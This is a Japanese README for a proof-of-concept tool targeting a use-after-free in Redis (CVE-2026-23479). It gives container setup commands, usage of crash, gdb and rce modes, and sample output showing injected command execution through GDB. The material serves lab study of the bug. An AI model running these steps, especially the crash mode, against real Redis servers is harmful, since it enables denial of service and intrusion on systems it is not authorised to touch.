
GDB支援によるエクスプロイトを用いた概念実証(教育・ラボ用途のみ)
Redis
unblockClientOnKey()における Use-After-Free によるリモートコード実行
GDB を活用したエクスプロイトの概念実証(教育・ラボ用途限定)
CVE-2026-23479 は、Redis バージョン 7.2.0 から 8.6.2 に存在する重大な Use‑After‑Free(UAF) 脆弱性です。
このバグは unblockClientOnKey() に存在し、この関数は processCommandAndResetClient() を 戻り値を確認せずに 呼び出します。
その呼び出し中にクライアントが解放された場合(例:エビクションによるもの)、呼び出し元はダングリングポインタを操作し続けます → UAF。
解放後にヒープを操作できる攻撃者は、任意のコード実行 を達成する可能性があります。
このリポジトリは、以下を行う GDB 支援 PoC を提供します:
freeClient() 呼び出し)を引き起こすことで UAF を証明するsystem() 呼び出しを注入することで 任意のコマンド実行 を実証する⚠️ 重要: これは 兵器化されたエクスプロイトではありません。特権 Docker コンテナ内で GDB を使用し、実際の攻撃者が脆弱性を悪用した後に達成しうることを シミュレート するものです。 自身のラボ、または明示的な許可を得たシステムでのみ 使用してください。
https://github.com/user-attachments/assets/5ce3aff0-e21c-4ad4-8a0b-50b57bdcf9ea
crash、gdb、rce、full--container で任意のコンテナを指定可能XREAD BLOCK コマンドにより、クライアントはストリームデータを待機します。pid 1)にアタッチします。processCommandAndResetClient にブレークポイントを設定 – ブロックされたクライアントが再処理されるときに呼び出される関数です。XADD が被害者を起こします。gdb モード: freeClient($rdi) を呼び出す → 意図的に SIGSEGV を引き起こす → UAF を証明。rce モード: system("your command") を呼び出す → Redis ユーザー(デフォルトでは root)として任意のシェルコマンドを実行。ブレークポイントは、ブロックされたクライアントがアンブロックされる たびに 発火し、UAF を含む 同じコードパス がコード実行も可能にすることを示します。
| ブランチ | 脆弱な範囲 |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 | 8.6.0 – 8.6.2 |
スクリプトは Redis のバージョンを自動的に解析し、脆弱かどうかを報告します。
apt を使用する Redis 8.6.2 Docker イメージ(例:公式の redis:8.6.2)--privileged で作成されている必要があります(ptrace に必要)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # should return PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
| モード | 説明 |
|---|---|
crash | メモリプレッシャーを介して UAF をトリガーしようと試みます(GDB 不要)。Redis がクラッシュする可能性がありますが、保証はされません。 |
gdb | GDB をアタッチし、ブレークポイントで freeClient() を呼び出します → SIGSEGV を強制します(UAF を証明)。 |
rce | GDB をアタッチし、ブレークポイントで system(cmd) を呼び出します → コンテナ内でシェルコマンドを実行します。 |
full | 最初に crash を実行し、Redis がクラッシュしない場合は gdb にフォールバックします。 |
| 引数 | デフォルト | 説明 |
|---|---|---|
target | (必須) | Redis サーバーの IP アドレス |
-p, --port | 6379 | Redis ポート |
-m, --mode | full | crash、gdb、rce、full のいずれか |
--container | env-redis-vuln-1 | Docker コンテナ名 |
--cmd | id > /tmp/pwned_by_cve | rce モードで実行するコマンド |
注意: すべてのコマンドは ホストマシン から実行され、Docker コンテナ内では ありません。
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
Redis はセグメンテーションフォールト後にクラッシュします。
コンテナを再起動します:
docker start redis-vuln-local
クリーンな状態を確保するために Redis を再起動します:
docker restart redis-vuln-local
エクスプロイトを実行します:
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
証明ファイルを確認します:
docker exec redis-vuln-local ls -l /tmp/pwned
成功した場合、ファイルが存在し、以下が証明されます:
system("touch /tmp/pwned");
が Redis コンテナ内で実行されたこと。
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
Redis が予期せず終了した場合(コンテナが実行されていない場合)、UAF がトリガーされた可能性が高いです。
以下で再起動します:
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
このモードは:
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned
[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit
============================================================
Results
============================================================
Target: 127.0.0.1:6379
Version: 8.6.2
Vulnerable: YES
RCE: CONFIRMED (arbitrary command execution)
============================================================
オリジナルの PoC は env-redis-vuln-1 という名前のコンテナ用にハードコードされており、新しい Python バージョンで実行すると複数の問題がありました。
更新版では以下の改善が導入されています:
| 問題 | 修正 |
|---|---|
| コンテナ名のハードコード | --container 引数を追加し、すべての関数に伝播させました。 |
GDB スクリプトの commands ブロック内に file コマンドが配置されていた | GDB がシンボルを正しくロードするように、file /usr/local/bin/redis-server を attach の前に移動しました。 |
subprocess.run() が capture_output=True と stderr=... の両方で使用されていた | stdout=subprocess.DEVNULL と stderr=subprocess.DEVNULL に置き換えました。 |
古い GDB プロセスが ptrace: Operation not permitted を引き起こす | trigger_uaf_gdb() と trigger_rce() の両方で GDB を起動する前に pkill -9 gdb を追加しました。 |
| GDB がサイレントに失敗したときのフィードバックがない | GDB 出力のデバッグログを追加し、証明ファイルの検出を改善しました。 |
docker stop redis-vuln-local
docker rm redis-vuln-local
このツールは 教育目的、許可されたセキュリティ研究、および自身が所有するか評価の明示的な許可を得たシステムのテストのみ を目的としています。
作者は、不正または悪意のある使用を 容認も奨励もしません。
本番環境または第三者のシステムをテストする前に、常に適切な許可を取得してください。
セキュリティコミュニティへの ❤️ を込めて。
倫理的に。安全に。